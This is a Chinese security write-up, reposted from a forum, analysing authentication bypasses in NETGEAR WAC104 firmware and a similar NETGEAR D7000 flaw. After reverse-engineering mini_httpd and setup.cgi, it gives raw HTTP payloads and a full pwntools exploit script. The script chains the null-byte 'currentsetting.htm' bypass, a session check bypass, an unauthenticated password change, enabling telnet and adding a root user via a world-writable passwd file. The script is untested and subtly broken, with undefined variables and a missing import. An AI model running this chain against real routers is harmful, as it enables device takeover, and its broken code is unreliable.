IOT类漏洞,认证绕过分析
WAC104 version < v1.0.4.15
固件下载地址下载相应版本即可。这里复现下载的是1.0.4.13版本的固件。
下载之后,把里面的img文件解包,就获得了文件系统。操作系统为32位mips小端。
0x00 漏洞分析
httpd认证绕过
NETGEAR WAC104 devices before 1.0.4.15 are affected by an authentication bypass vulnerability in /usr/sbin/mini_httpd, allowing an unauthenticated attacker to invoke any action by adding the ¤tsetting.htm substring to the HTTP query
漏洞详情上说,在/usr/sbin/mini_httpd上存在认证漏洞,添加一个&curremtsetting.htm
即可未授权访问资源。
逆向分析一下mini_httpd,本着假装不知道有漏洞的情况下,搜索字符串,定位到了一个熟悉的Basic(刚在某RCE看到这个认证选项),点开一看,果然是认证的界面。
然后追溯函数调用,最终得到调用链条
main -> sub_407A28() -> sub_406F24() -> sub_4016CC()
fork出来子进程执行,加上后面几个函数的内容,可能这就是处理http的开始了。进去之后,直接定位漏洞存在的位置。
然后就浅浅的逆向了一下这个mini_httpd。
大致的看了一下,处理的过程和其余的httpd类似,头部处理和uri处理,这里有个特别的参数,漏洞细节显示,未授权访问漏洞就在这个地方,这个flag值,在三个地方被设置为1.
第一处,有SOAPAction头部字段的时候,设计的初衷应该是可以任意访问soap的xml内容。此处还有一个小型的溢出,通过while循环,获得service的时候,没有检查service的长度,只是用冒号作为结尾,导致了可以在bss段进行任意写。
第二处,有setupwizard.cgi的字段时,此时如果被置为1,则有个exit,只有第一次启动系统才能绕过,所以前面两处置1都不可以利用。最后一次不恰当的使用strstr函数,
此处可以置1,本来是作为uri资源的,但是由于strstr没有00截断,而该httpd中又没有对00做校验,(虽然校验了..和/),这就导致了可以设置/uri%00currentsetting.htm
来对任意资源越界访问。
且后续判断uri是否存在的时候,利用的大都是strlen等函数。
其中strlen被00截断了,stat64不知道,但是不是特别影响,因为uri长度就是由strlen来判断的。
大致逻辑懂了,资源调用的地方还没明白在哪里。
为了理清楚逻辑,检查了一下这个全局变量的交叉引用,然后找到了唯一一处判断。
此处,如果为1,则进入if分支,其中的sub_4062C0函数,检查wan之类的网络,一般都是返回True,所以此处,该函数直接返回了1。
而看向else分支,从.htpasswd
文件中拿出数据,进行Basic验证,,
basic验证是一种http验证手段,可以在网上查到,其中特征比较明显的就是Basic字符串和base64解密。
看完上述代码就明白了,此处由于标志位的设定,直接返回了True,而不用通过下面的else身份验证,这就导致了未授权的访问出现。
payload = b"GET /uri%00currentsetting.htm HTTP/1.1"
这是GET类型的任意资源访问。
0x01 密码重置和保存
在httpd认证绕过的基础上,还有setup.cgi在利用httpd绕过的基础上存在非授权密码重置和保存。
setup.cgi中存在两个指令。
- todo=save_passwd
- todo=con_save_passwd
第一条save,会校验old_passwd,校验的方法是从http_password
中获得就密码,该接口在web端中使用。校验完毕之后会把新的密码存入http_password
(http_password
是NVRAM中的键)和/etc/htpasswd文件中。
同时该请求需要带有id和sp两个会话认证的post参数。
第二条con_save_passwd,不需要旧密码,seebugs中描述如下
The second one (con_save_passwd) however doesn't require the old password, and happily changes the NVRAM "http_password" (only this one) to the provided one.
Example (incorporating the authentication bypass; this could be an XSRF from WAN as well):
GET /setup.cgi?todo=con_save_passwd&sysNewPasswd=ABC&sysConfirmPasswd=ABC%00currentsetting.htm HTTP/1.1
Host: aplogin
通过GET和Host的设置,可以直接设置NVRAM中存储的新密码。
做到这个之后,还需要做到把密码再写入/etc/passwd或/etc/htpasswd,这需要做一次系统的reboot或者使用第一条save接口。
这时候如果使用save接口,那么此时的http_password已经被改为了设定的新密码,所以这个利用这个接口传递密码到/etc/htpasswd变得可行。
为了达到以上目的,需要一个POST下的可用session。
下面提供两个步骤,第一个就是发生在setup.cgi中的session绕过,且重写密码,第二个是利用现有的漏洞和权限管理机制,给拿到的shell提权。
sesstion 认证绕过
setup.cgi
中,也有一个session id的绕过,该文件位于/usr/sbin
目录下,可由httpd认证绕过成功在未登录的状态下访问该资源。这个可执行文件没有那么复杂,是一个CGI资源,其中的一些变量都来自环境变量,main函数中,通过getenv
函数向环境变量中的字符串获取参数。
首先main函数判断method是不是post,如果是post则进一步获得post传入的参数,然后判断sessionfile是否存在,存在则分别读出id和sp,其中sp就是session_file
,Sub_403F04
函数就是读取session的内容,如果和id一样,则通过验证,这里可以设置以下payload。
id=0sp=ABC
可以看一下sub_403F04函数。
int __fastcall sub_403F04(int a1)
{
int v1; // $v0
int v2; // $s0
int v4; // [sp+18h] [-8h] BYREF
v4 = 0;
v1 = fopen(a1, "r");
v2 = v1;
if ( v1 )
{
fscanf(v1, "%x", &v4);
fclose(v2);
}
return v4;
}
默认返回是0,如果打开a1失败,则返回0,所以设置sp为一个不存在的文件,即可返回0,此时再设置id为0,就达到了绕过验证的目的。
这是POST类型的认证绕过,可以执行setup.cgi的一些动作。
然后执行 setup.cgi?todo=reboot
或则save就可以实现更改密码了。
getshell和提权
同样的通过setup.cgi?todo=debug
可以开启telnet端口反弹shell出来,但是拿到的仅仅是用户权限,在参考资料中提供一种方式,把新建的root权限用户密码写入/tmp/etc/passwd
To elevate privileges to root it's enough to run the following commands:
cd /tmp/etc
cp passwd passwdx
echo toor:scEOyDvMLIlp6:0:0::scRY.aIzztZFk:/sbin/sh >> passwdx
mv passwd old_passwd
mv passwdx passwd
The commands above abuse the fact that:
1. /etc/ points to /tmp/etc
2. /tmp/etc/ directory has permissions set to 777 (rwxrwxrwx).
拿原版改了一个pwntools版本的,socket脚本实在是看着不舒服,没有设备,下面的poc还没测试过,想看原版poc的直接去下面的参考链接即可。还没拿到设备,qemu启环境起不来,patch了几个地方还是起不来,有了设备再调试下poc
exp
from pwn import *
import telnetlib
from time import sleep
context.log_level = 'debug'
IP = ""
PORT = 80
def action(data):
p = remote(IP,PORT)
p.send(data)
sleep(3)
p.recv()
p.close()
def reset_session_state_or_sth():
action(
b'\r\n'.join([
b"GET /401_access_denied.htm HTTP/1.5",
b"Host: aplogin",
b"", b""
])
)
def enable_debug_mode():
action(
b'\r\n'.join([
b"GET /setup.cgi?todo=debug%00currentsetting.htm HTTP/1.5",
b"Host: aplogin",
b"", b""
])
)
def change_nvram_password(new_password):
new_password = bytes(new_password, "utf-8")
action(
b'\r\n'.join([
( b"GET /setup.cgi?todo=con_save_passwd&"
b"sysNewPasswd=%s&sysConfirmPasswd=%s"
b"%%00currentsetting.htm HTTP/1.5" ) % (new_password, new_password),
b"Host: aplogin",
b"", b""
])
)
def reboot():
action(
b'\r\n'.join([
b"POST /setup.cgi?id=0%00currentsetting.htm?sp=1234 HTTP/1.1",
b"Host: aplogin",
b"Content-Length: 11",
b"Content-Type: application/x-www-form-urlencoded",
b"",
b"todo=reboot"
])
)
def change_password_full(old_password, new_password):
old_password = bytes(old_password, "utf-8")
new_password = bytes(new_password, "utf-8")
post_body = (
b"sysOldPasswd=%s&sysNewPasswd=%s&sysConfirmPasswd=%s&"
b"question1=1&answer1=a&question2=1&answer2=a&"
b"todo=save_passwd&"
b"this_file=PWD_password.htm&"
b"next_file=PWD_password.htm&"
b"SID=&h_enable_recovery=disable&"
b"h_question1=1&h_question2=1"
) % (old_password, new_password, new_password)
action(
b'\r\n'.join([
b"POST /setup.cgi?id=0%00currentsetting.htm?sp=1234 HTTP/1.1",
b"Host: aplogin",
b"Content-Length: %i" % len(post_body),
b"Content-Type: application/x-www-form-urlencoded",
b"",
post_body
])
)
def add_root_user(password):
p = remote(IP,23)
t = telnetlib.Telnet()
t.sock = p
print(str(t.read_until(b"WAC104 login: "), "cp852"))
t.write(b"admin\n")
print(str(t.read_until(b"Password: "), "cp852"))
t.write(bytes(password, "utf-8") + b"\n")
print(str(t.read_until(b"$ "), "cp852"))
# Adds root user named "toor" with password "AlaMaKota1234".
t.write(
b"cd /tmp/etc\n"
b"cp passwd passwdx\n"
b"echo toor:scEOyDvMLIlp6:0:0::scRY.aIzztZFk:/sbin/sh >> passwdx\n"
b"mv passwd old_passwd\n"
b"mv passwdx passwd\n"
b"echo DONEMARKER\n"
)
print(str(t.read_until(b"DONEMARKER"), "cp852"))
t.close()
def connect_as_root():
p = remote(IP,23)
t = telnetlib.Telnet()
t.sock = p
print(str(t.read_until(b"WAC104 login: "), "cp852"))
t.write(b"toor\n")
print(str(t.read_until(b"Password: "), "cp852"))
t.write(b"AlaMaKota1234\n")
t.interact()
t.close()
print(("-" * 70) + " RESET SESSION STATE")
reset_session_state_or_sth()
print(("-" * 70) + " CHANGE NVRAM PASSWORD")
change_nvram_password(TEMP_PASSWORD)
print(("-" * 70) + " CHANGE FULL PASSWORD")
change_password_full(TEMP_PASSWORD, NEW_PASSWORD)
print(
f"\n"
f"From now you can login to the web interface using these credentials:\n"
f" admin / {NEW_PASSWORD}\n"
f"\n"
f"Press CTRL+C to stop here. Otherwise press ENTER to reboot the router, "
f"enable telnetd, and run privilege escalation exploit.\n"
)
input()
print(("-" * 70) + " RESET SESSION STATE")
reset_session_state_or_sth()
print(("-" * 70) + " REBOOT")
reboot()
print(
"\n"
"Wait a few minutes for the device to restart and press ENTER to continue.\n"
)
input()
print(("-" * 70) + " ENABLE DEBUG MODE")
enable_debug_mode()
print(("-" * 70) + " WAITING 10 SECONDS FOR TELNETD")
time.sleep(10)
print(("-" * 70) + " TRYING TO GET ROOT")
for i in range(5):
try:
add_root_user(NEW_PASSWORD)
break
except socket.ConnectionRefusedError:
print("Sleeping 5 more seconds...")
time.sleep(5)
print(
"\n"
"In the future you can connect as root using these credentials:\n"
" toor / AlaMaKota1234\n"
"\n"
)
print(("-" * 70) + " CONNECTING TO TELNETD AS ROOT")
connect_as_root()
0x02 PSV-2021-0133
这也是类似的绕过漏洞,同样出现在NETGEAR中。
参考链接:https://ssd-disclosure.com/ssd-advisory-netgear-d7000-authentication-bypass/
这里给个简介就行了,原理其实类似,不做过多记录。
LAB_000104f8:
DAT_0001d4ec_needs_auth = 0;
DAT_0001f24c = 0;
}
pcVar4 = (char *)FUN_0000b8f0(1);
iVar3 = strcasecmp(pcVar5,pcVar4);
if ((iVar3 == 0) &&
(pcVar6 = strstr(DAT_0001f330,"todo=PNPX_GetShareFolderList"), pcVar6 != (char *)0x0)) {
DAT_0001d4ec_needs_auth = 0;
}
其中todo=PNPX_GetShareFolderList
使用strstr确定,所以同样的办法可以置flag为1,免去认证,进行任意资源访问。
0x03 思考
这类漏洞,存在的原因,可能是,有一类资源,他们的数据无关紧要,甚至是专门开放给用户的,设计者设计httpd这个项目的时候,考虑到这类资源可能会处于一个增长状态或者过多,静态添加起来复杂,所以设计了一些flag位,这些位置被常常置于请求头,或者一些别的地方,在资源请求之前,身份验证之前做一道验证,即可免去认证。
但是在实现上,使用了strstr函数,和一些别的函数,(可称为弱限制条件搜索函数),这些函数某种程度上减弱了对攻击者数据包的限制条件,导致了绕过认证的出现。
而其中的session字段绕过,可以说是纯纯的代码上的习惯,习惯性的return 0,可能在文件打开的时候,文件不存在直接抛出错误可能好一点。
strstr导致的类似漏洞还有
CVE-2020-15633
CVE-2019-17137
0x04 参考
- 本文作者: 就叫16385吧
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/1806
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!